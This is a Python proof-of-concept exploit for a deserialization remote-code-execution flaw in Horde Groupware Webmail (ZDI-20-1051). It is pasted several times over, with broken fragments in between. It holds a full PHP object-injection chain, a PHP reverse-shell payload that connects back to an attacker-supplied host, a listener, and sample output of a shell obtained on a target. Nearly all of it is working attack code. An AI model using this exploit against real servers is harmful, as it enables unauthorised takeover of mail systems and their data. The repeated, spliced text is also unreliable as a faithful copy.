pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
_prefnames";a:1:{s:10:"identities";i:0;}' pop += 'S:14:"\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
*\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
_identities";a:1:{i:0;i:0;}}' # additional checks pop += 'S:42:"\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
Horde_Kolab_Server_Decorator_Clean\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
_added";a:1:{i:0;i:0;}}' return pop def get_patch(): """ Our original array """ patch = 'a:1:{' patch += 's:5:"INBOX";a:1:{' patch += 's:1:"b";i:6;' patch += '}}' return patch def set_pref(t, p, s, k, o): """ A primitive that inserts a string into the database """ uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p) p = { "pref" : k, "value" : o, } c = { "Horde" : s } r = requests.get(uri, params=p, cookies=c) match = re.search("horde_logout_token=(.*)&", r.text) assert match, "(-) failed to leak the horde_logout_token!" p['token'] = match.group(1) r = requests.get(uri, params=p, cookies=c) assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!" def handler(lport): print("(+) starting handler on port %d" % lport) t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lport)) s.listen(1) conn, addr = s.accept() print("(+) connection from %s" % addr[0]) t.sock = conn print("(+) pop thy shell!") t.interact() def fix_path(p): if p == "/": return p if not p.startswith("/"): p = "/%s" % p if not p.endswith("/"): p = "%s/" % p return p def main(): if len(sys.argv) < 5: print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0]) print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0]) sys.exit(0) target = sys.argv[1] path = fix_path(sys.argv[2]) user = sys.argv[3].split(":")[0] pswd = sys.argv[3].split(":")[1] host = sys.argv[4].split(":")[0] port = int(sys.argv[4].split(":")[1]) print("(+) targeting 